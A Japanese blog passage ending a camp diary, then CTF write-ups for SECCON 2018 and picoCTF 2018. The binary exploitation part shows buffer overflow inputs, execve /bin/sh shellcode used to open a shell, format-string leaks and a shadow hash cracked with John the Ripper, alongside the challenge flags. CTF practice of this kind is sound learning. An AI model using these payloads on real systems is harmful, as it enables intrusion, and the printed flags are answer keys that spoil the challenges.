- レーザポインタを用いた家電操作
- 分散Webプラットフォーム
- Shima Fuzzy Lop
- 深層学習を用いたフィッシングサイト検知
求められる最終成果物のレベルが高いな〜と思った．
10:00
ポスター発表レビュー
トレーナーと相談しながら今後の方針を決めた．
要件定義 is 大事
12:15
昼飯．
13:15
ロープウェイでハイキング(リフレッシュ)
現地の人に頭のおかしい集団だと思われたかも
15:20
ポスター直し．
17:00
ARLISS 世界で最も過酷なロボットコンペ の講演．
CanSatめっちゃ面白そうだなと思った(正直な感想)．
いくら理論を突き詰めても事前準備(実験)が不十分だと失敗するよという話が印象的だった．
18:00
夕飯．
19:00
トレーナーLT + 交流
良い交流になったと思う．
25:00
なぜ日付が変わらないと眠れないのか？
23:00頃に眠れるように生活リズムを正していきたい．
3日目(10/14)
08:30
朝食チャレンジ失敗．
9:10
コースワークやポスター関連の話し合い
11:30
習慣化フォローアップ
「やる気」は元々存在しない．
言い訳を考えつく前に行動しよう．
という話を聞いて確かにその通りだなと思いました．
12:00
昼飯アンド今後の相談
15:00
解散．
19:30
東京駅到着．
チームメンバが新幹線内で進捗出しててプロかよ…と思った．
21:00
夕飯．
ラーメンで締め．
まとめ
- 言い訳を考えつく前に行動する
- 愛媛回までにデモを見せれるように進捗だす
- ポスター発表の練習(話すことを整理)を十分にする
- ラーメンの食べ過ぎに気をつける
SECCON 2018 Write-up
はじめに
10/27,28に開催されたSECCON 2018に研究室の同期とm45kというチームで参加しました．
成績
3問解いて 183位 / 653チーム でした．
Write-up
自分が解いた Runme, Boguscrypt についてのWrite-up です．
Runme [Reversing]
Run me.
アプローチ：Stackの確認
ダウンロードしたファイルを調べてみると32bit版 Windowsの実行ファイルだということが分かりました．
> file runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68 runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68: PE32 executable (console) Intel 80386, for MS Windows
諸事情でWindows環境を用意できなかったのでEasyWine.appを利用して実行してみると
このままでは実行できないことが分かります．
そこで，idaを利用して実行ファイルを解析します．
不自然なほど関数があるので1つずつ中身を確認していきます．
いくつかの関数を確認するとflagが1文字ずつPushされていることに気づくので1文字ずつ読み取っていきます．
SECCON{Runn1n6_P47h}
Boguscrypt [Crypto]
Boguscrypt
Hey, Can you decrypt the file?
アプローチ：rev/pcap
zipファイルを解凍すると
> file challenge.pcap challenge.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)
> file dec dec: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83c20d8c2abda1f5e7505bc9f11723e6f59ce129, not stripped
> file flag.txt.encrypted flag.txt.encrypted: data
pcap, 実行ファイル, テキストファイルを入手することができます．
Crypto問なのにバイナリファイルの解析しなきゃいけないのか…とちょっとテンションが下がりました．
とりあえずdecを実行してみると
> ./dec Key?:Crypto
Keyの入力を求められ，適当な文字列を入力するとflag.txt.encryptedからflag.txtが生成されます．
ここで何通りかのKeyを入力して遊んでみるとflag.txtに変化が生じていないことに気づきます．
問題名のBogusは「偽の、いんちきな」という意味なので，Keyがflag.txtの生成に無関係であることが予想できます．
gdbを使用して詳しくdecの動作を確認してみると， gethostbyaddrをcallしていることに気づきます．
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb5948 --> 0x804ba60 ("ubuntu")
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0xf7fb3000 --> 0x1d4d6c
EDI: 0x0
EBP: 0xffffcfb8 --> 0x0
ESP: 0xffffaf20 --> 0xffffaf30 --> 0x200007f
EIP: 0x80486e1 (<main+100>: cmp DWORD PTR [esp+0x1c],0x0)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486d5 <main+88>: mov DWORD PTR [esp],eax
0x80486d8 <main+91>: call 0x80484c0 <gethostbyaddr@plt>
0x80486dd <main+96>: mov DWORD PTR [esp+0x1c],eax
=> 0x80486e1 <main+100>: cmp DWORD PTR [esp+0x1c],0x0
0x80486e6 <main+105>: jne 0x80486fe <main+129>
0x80486e8 <main+107>: mov DWORD PTR [esp],0x8048a15
0x80486ef <main+114>: call 0x8048550 <herror@plt>
0x80486f4 <main+119>: mov eax,0x1
[------------------------------------stack-------------------------------------]
0000| 0xffffaf20 --> 0xffffaf30 --> 0x200007f
0004| 0xffffaf24 --> 0x4
0008| 0xffffaf28 --> 0x2
0012| 0xffffaf2c --> 0x0
0016| 0xffffaf30 --> 0x200007f
0020| 0xffffaf34 --> 0x0
0024| 0xffffaf38 --> 0x0
0028| 0xffffaf3c --> 0xf7fb5948 --> 0x804ba60 ("ubuntu")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486e1 in main ()
ホスト名を変更して再度decを実行してみるとflag.txtに変化が生じていることが確認できます．
このことからchallenge.pcapからホスト名を探しだし，該当ホスト名でdecを実行するとflag.txtを正常にデコードできることが分かります．
challenge.pcapを眺めてると怪しいホスト名(cur10us4ndl0ngh0stn4m3)が見つかります
ホスト名をcur10us4ndl0ngh0stn4m3に変更してdecを実行するとflag.txtが正常にデコードできます．
SECCON{This flag is encoded by bogus routine}
お気持ち表明
取り組んだけど解けなかった問題とコンテスト終了後に解けた問題について書きます．
Classic Pwn [Pwn]
1番時間をかけた問題
returnアドレスのオフセットもlibc_baseもあってるはずなのに上手く行かなかった．
Pwnの勉強がんばります．
QRChecker [QR]
知ってたのに気づけなかった
news.yahoo.co.jp
mnemonic [Crypto]
Read me.
{
"japanese": [
[
"d3a02b9706507552f0e70709f1d4921275204365b4995feae1d949fb59c663cc",
"ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと",
"338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f"
],
[
"dfc9708ac4b4e7f67be6b8e33486482cb363e81967a1569c6fd888b088046f7c",
"ほんやく ごうきゅう おさめる たこやき ごかん れいぎ やせる ふるい まんなか てんない だんろ さうな きぼう よくぼう しのぐ よけい こんき みうち らくご いわかん いこく あたためる のはら たぶん",
"bdadda5bbff97eb4fda0f11c7141bc3ce3de0fef0b2e4c47900858cec639c10187aee4695b1ba462b1dd34b170b62801e68c270b93af62629f4964947a620ed9"
],
[
"c0f...",
"??? とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる",
"e9a..."
],
],
"flag": "SECCON{md5(c0f...)}"
}
アプローチ：BIP39
textファイルを見ても正直よく分からないのでmnemonic encodeとかでググります．
すると，なんやかんやでBIP39の日本語ワードリストを利用したMnemonicであることが分かります．
textファイルの???を日本語ワードリストの単語に置き換えて，BIP39 Seedを計算し，先頭がe9aとなる単語を探索してる最中にコンテストが終了しました．
コンテスト終了後に気づいたのですが，11bit毎にhexを日本語に置き換えているだけなので全探索をせずとも???はワードリストの0xc0f >> 1番目の単語(はいれつ)であることが分かります．
以下スクリプトです．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import hashlib import binascii import mnemonic if __name__ == '__main__' : WORDS = u' とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる' KEY = 0xc0f m = mnemonic.Mnemonic('japanese') first_word = m.wordlist[KEY>>1] entropy = binascii.hexlify(m.to_entropy(first_word + WORDS)) hash = hashlib.md5(entropy).hexdigest() print('SECCON{' + hash + '}')
> python solve.py
SECCON{cda2cb1742d1b6fc21d05c879c263eec}
SECCON{cda2cb1742d1b6fc21d05c879c263eec}
まとめ
- 今年のSECCONは難しかったらしい(初参加なので違いが分からなかった)
- Pwn, Rev偏重なので低レイヤ強くならないと楽しめないことが分かった
- CryptoがBoguscrypt以外暗号通貨問だったのでつらかった(分かんねぇ〜〜〜〜〜〜〜)
- 低レイヤの勉強頑張ります
picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]
まえがき
前回の続きです．
今回はReversingとBinary ExploitationのWrite-upを書こうと思います．
Reversing
Reversing Warmup 1 - Points: 50
Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?
アプローチ：ELFファイルの実行
> file run run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run
picoCTF{welc0m3_t0_r3VeRs1nG}
picoCTF{welc0m3_t0_r3VeRs1nG}
Reversing Warmup 2 - Points: 50
Can you decode the following string
dGg0dF93NHNfczFtcEwzfrom base64 format to ASCII
アプローチ：base64
> echo dGg0dF93NHNfczFtcEwz | base64 --d th4t_w4s_s1mpL3
picoCTF{th4t_w4s_s1mpL3}
assembly-0 - Points: 150
What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.
アプローチ：アセンブラを読む
.intel_syntax noprefix
.bits 32
.global asm0
asm0:
push ebp
mov ebp,esp
mov eax,DWORD PTR [ebp+0x8]
mov ebx,DWORD PTR [ebp+0xc]
mov eax,ebx
mov esp,ebp
pop ebp
ret
アセンブラを読むとeaxにebxをコピーしていること分かる
このときasm0(0xb6,0xc6)なのでeax=0xb6,ebx=0xc6
picoCTF{0xc6,0xc6}
assembly-1 - Points: 200
What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.
アプローチ：アセンブラを読む
.intel_syntax noprefix
.bits 32
.global asm1
asm1:
push ebp
mov ebp,esp
cmp DWORD PTR [ebp+0x8],0x98
jg part_a
cmp DWORD PTR [ebp+0x8],0x8
jne part_b
mov eax,DWORD PTR [ebp+0x8]
add eax,0x3
jmp part_d
part_a:
cmp DWORD PTR [ebp+0x8],0x16
jne part_c
mov eax,DWORD PTR [ebp+0x8]
sub eax,0x3
jmp part_d
part_b:
mov eax,DWORD PTR [ebp+0x8]
sub eax,0x3
jmp part_d
cmp DWORD PTR [ebp+0x8],0xbc
jne part_c
mov eax,DWORD PTR [ebp+0x8]
sub eax,0x3
jmp part_d
part_c:
mov eax,DWORD PTR [ebp+0x8]
add eax,0x3
part_d:
pop ebp
ret
picoCTF{0x73,0x73}
Binary Exploitation
buffer overflow 0 - Points: 150
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t he shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0; }
アプローチ：BOF
コードを読むとvuln()のstrcpy(buf, input)が危ないことが分かるのでbufでBOFします．
satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}
buffer overflow 1 - Points: 200
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
アプローチ：gdb+ltrace
コードを読むとvuln()のリターンアドレスをwin()にすればいいっぽいのでgdbを使ってアドレスを調べます．
(gdb) call vuln
$1 = {<text variable, no debug info>} 0x804862f <vuln>
(gdb) call win
$2 = {<text variable, no debug info>} 0x80485cb <win>
リターンアドレスを0x80485cbに書き換えるとflagがとれそうということが分かります．
ltraceを使いながらリターンアドレスの位置を計算します．
> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln
[0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...>
[0x804867f] setvbuf(0xf7f94d80, 0, 2, 0) = 0
[0x8048687] getegid() = 1000
[0x804869b] setresgid(1000, 1000, 1000, 0x8048687) = 0
[0x80486ab] puts("Please enter your string: "Please enter your string:
) = 27
[0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887) = 0xffca66e0
[0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
) = 65
[0x4c4c4c4c] --- SIGSEGV (Segmentation fault) ---
[0xffffffffffffffff] +++ killed by SIGSEGV +++
0x4c4c4c4cになってることからLをアドレスに置き換えるといい感じになりそうということが分かります．
satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC
DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault
picoCTF{addr3ss3s_ar3_3asy65489706}
leak-me - Points: 200
Can you authenticate to this service and get the flag? Connect with nc
2018shell1.picoctf.com 1271. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; }
アプローチ：nameでBOF
nameでBOFするとパスワードが降ってきます．
a_reAllY_s3cuRe_p4s$word_f78570
> nc 2018shell1.picoctf.com 1271
What is your name?
satto1237
Hello satto1237,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
shellcode - Points: 200
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; }
アプローチ：BOFでshellを起動
getsを使用しているのでBOFは簡単にできそうということがわかる．
問題文がshellcodeなのでBOFでshellを起動すればflagをとれそう．
ももテクを参考にexploitコードを書きました．
exploitコード
import sys shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = 148 buf = shellcode buf += 'A' * (bufsize - len(shellcode)) print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln
Enter a string!
1Rh//shh/binRSB
̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_7f5a7309}
picoCTF{shellc0de_w00h00_7f5a7309}
echooo - Points: 300
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; char flag[64]; char *flag_ptr = flag; // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); memset(buf, 0, sizeof(flag)); memset(buf, 0, sizeof(buf)); puts("Time to learn about Format Strings!"); puts("We will evaluate any format string you give us with printf()."); puts("See if you can get the flag!"); FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); while(1) { printf("> "); fgets(buf, sizeof(buf), stdin); printf(buf); } return 0; }
アプローチ：FORMAT STRING ATTACK ～書式指定文字列攻撃～
今回もももテクを参考にしました．
> nc 2018shell1.picoctf.com 46960 Time to learn about Format Strings! We will evaluate any format string you give us with printf(). See if you can get the flag! > AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647 >
bufのアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと
echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}
まとめ
- Reversingわからん
- Binary Exploitationわからん
- 何もわからん
- 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
- 低レイヤ強くなりてぇ…
picoCTF 2018 Write-up [Cryptography]
- まえがき
- Cryptography
- Crypto Warmup 1 - Points: 75
- Crypto Warmup 2 - Points: 75
- HEEEEEEERE'S Johnny! - Points: 100
- caesar cipher 1 - Points: 150
- hertz - Points: 150
- blaise's cipher - Points: 200
- hertz 2 - Points: 200
- Safe RSA - Points: 250
- caesar cipher 2 - Points: 250
- rsa-madlibs - Points: 250
- Super Safe RSA - Points: 350
- Super Safe RSA 2 - Points: 425
- Super Safe RSA 3 - Points: 600
- まとめ
まえがき
前回の続きです．
今回はCryptographyのWrite-upを書こうと思います．
Cryptography
Crypto Warmup 1 - Points: 75
Crpyto can often be done by hand, here's a message you got from a friend,
llkjmlmpadkkcwith the key ofthisisalilkey. Can you use this table to solve it?.
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z +---------------------------------------------------- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
アプローチ：ヴィジュネル暗号
https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
tableの最上段が平文(P)，左段が鍵(K)になります．
text: llkjmlmpadkkc
key: thisisalilkey
-> SECRETMESSAGE
picoCTF{SECRETMESSAGE}
暗号文をCとしたときに
となることを利用してスクリプトを書いたほうが速いです．
Crypto Warmup 2 - Points: 75
Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}
アプローチ：rot13
picoCTF{this_is_crypto!}
HEEEEEEERE'S Johnny! - Points: 100
Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc
2018shell1.picoctf.com 42165. Files can be found here: passwd shadow.
passwd
root:x:0:0:root:/root:/bin/bash
shadow
root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:17770:0:99999:7:::
アプローチ：John the Ripper
ncするとユーザ名とパスワードの入力を求められるのでどうやらpasswdとshadowからユーザ名とパスワードを推測しなければいけないようです．
/etc/passwdと/etc/shadowについては以下を参照するといいと思います．
www.server-memo.net
shadowファイル解読のためにJohn the Ripperを使います．
https://www.openwall.com/john/
> john --show shadow root:kissme:17770:0:99999:7::: 1 password hash cracked, 0 left
root,kissmeでログイン
> nc 2018shell1.picoctf.com 42165
Username: root
Password: kissme
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}
caesar cipher 1 - Points: 150
This is one of the older ciphers in the books, can you decrypt the message? You can find the ciphertext in /problems/caesar-cipher-1_3_160978e2a142244574bd048623dba1ed on the shell server.
grpqxdllaliazxbpxozfmebotlvlicmr
アプローチ：rot
rot13.com でrot3
picoCTF{justagoodoldcaesarcipherwoyolfpu}
hertz - Points: 150
Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc
2018shell1.picoctf.com 18581.
アプローチ：換字式暗号
ncすると
------------------------------------------------------------------------------- crjgeqof nzez xf urve kpqg - fvtfoxovoxrj_cxdnzef_qez_frphqtpz_kgjhhgjimf ------------------------------------------------------------------------------- xj q hxppqgz rk pq mqjcnq, onz jqmz rk anxcn x nqhz jr izfxez or cqpp or mxji, onzez pxhzi jro prjg fxjcz rjz rk onrfz gzjopzmzj onqo szzd q pqjcz xj onz pqjcz-eqcs, qj rpi tvcspze, q pzqj nqcs, qji q gezunrvji kre crvefxjg. qj rppq rk eqonze mrez tzzk onqj mvoorj, q fqpqi rj mrfo jxgnof, fceqdf rj fqoveiquf, pzjoxpf rj kexiquf, qji q dxgzrj re fr zwoeq rj fvjiquf, mqiz qaqu axon onezz-bvqeozef rk nxf xjcrmz. onz ezfo rk xo azjo xj q irvtpzo rk kxjz cpron qji hzphzo tezzcnzf qji fnrzf or mqocn kre nrpxiquf, anxpz rj azzs-iquf nz mqiz q teqhz kxgvez xj nxf tzfo nrmzfdvj. nz nqi xj nxf nrvfz q nrvfzszzdze dqfo kreou, q jxzcz vjize oazjou, qji q pqi kre onz kxzpi qji mqeszo-dpqcz, anr vfzi or fqiipz onz nqcs qf azpp qf nqjipz onz txpp-nrrs. onz qgz rk onxf gzjopzmqj rk rvef aqf treizexjg rj kxkou; nz aqf rk q nqeiu nqtxo, fdqez, gqvjo-kzqovezi, q hzeu zqepu exfze qji q gezqo fdreofmqj. onzu axpp nqhz xo nxf fvejqmz aqf bvxwqiq re bvzfqiq (kre nzez onzez xf frmz ixkkzezjcz rk rdxjxrj qmrjg onz qvonref anr aexoz rj onz fvtlzco), qponrvgn kerm ezqfrjqtpz crjlzcovezf xo fzzmf dpqxj onqo nz aqf cqppzi bvzwqjq. onxf, nrazhze, xf rk tvo pxoopz xmdreoqjcz or rve oqpz; xo axpp tz zjrvgn jro or foequ q nqxe'f tezqion kerm onz oevon xj onz ozppxjg rk xo. urv mvfo sjra, onzj, onqo onz qtrhz-jqmzi gzjopzmqj anzjzhze nz aqf qo pzxfvez (anxcn aqf mrfopu qpp onz uzqe ervji) gqhz nxmfzpk vd or ezqixjg trrsf rk cnxhqpeu axon fvcn qeirve qji qhxixou onqo nz qpmrfo zjoxezpu jzgpzcozi onz dvefvxo rk nxf kxzpi-fdreof, qji zhzj onz mqjqgzmzjo rk nxf derdzeou; qji or fvcn q dxocn ixi nxf zqgzejzff qji xjkqovqoxrj gr onqo nz frpi mqju qj qcez rk oxppqgzpqji or tvu trrsf rk cnxhqpeu or ezqi, qji tervgno nrmz qf mqju rk onzm qf nz crvpi gzo. tvo rk qpp onzez azez jrjz nz pxszi fr azpp qf onrfz rk onz kqmrvf kzpxcxqjr iz fxphq'f crmdrfxoxrj, kre onzxe pvcxixou rk foupz qji crmdpxcqozi crjczxof azez qf dzqepf xj nxf fxgno, dqeoxcvpqepu anzj xj nxf ezqixjg nz cqmz vdrj crveofnxdf qji cqeozpf, anzez nz rkozj krvji dqffqgzf pxsz "onz ezqfrj rk onz vjezqfrj axon anxcn mu ezqfrj xf qkkpxcozi fr azqszjf mu ezqfrj onqo axon ezqfrj x mvemve qo urve tzqvou;" re qgqxj, "onz nxgn nzqhzjf, onqo rk urve ixhxjxou ixhxjzpu kreoxku urv axon onz foqef, ezjize urv izfzehxjg rk onz izfzeo urve gezqojzff izfzehzf." rhze crjczxof rk onxf freo onz drre gzjopzmqj prfo nxf axof, qji vfzi or pxz qaqsz foexhxjg or vjizefoqji onzm qji arem onz mzqjxjg rvo rk onzm; anqo qexforopz nxmfzpk crvpi jro nqhz mqiz rvo re zwoeqcozi nqi nz crmz or pxkz qgqxj kre onqo fdzcxqp dvedrfz. nz aqf jro qo qpp zqfu qtrvo onz arvjif anxcn irj tzpxqjxf gqhz qji orrs, tzcqvfz xo fzzmzi or nxm onqo, gezqo qf azez onz fvegzrjf anr nqi cvezi nxm, nz mvfo nqhz nqi nxf kqcz qji triu crhzezi qpp rhze axon fzqmf qji fcqef. nz crmmzjizi, nrazhze, onz qvonre'f aqu rk zjixjg nxf trrs axon onz dermxfz rk onqo xjozemxjqtpz qihzjovez, qji mqju q oxmz aqf nz ozmdozi or oqsz vd nxf dzj qji kxjxfn xo derdzepu qf xf onzez derdrfzi, anxcn jr irvto nz arvpi nqhz irjz, qji mqiz q fvcczffkvp dxzcz rk ares rk xo orr, nqi jro gezqoze qji mrez qtfretxjg onrvgnof dezhzjozi nxm.
が降ってきます．
おそらく換字式暗号なので文字の出現確率を見ながら適当に変換していきます．
変換ルールはこれです．
q -> A g -> G p -> L k -> F e -> R z -> E n -> H r -> O o -> T j -> N m -> M i -> D x -> I f -> S v -> U a -> W c -> C u -> Y t -> B d -> P s -> K h -> V w -> X l -> J b -> Q
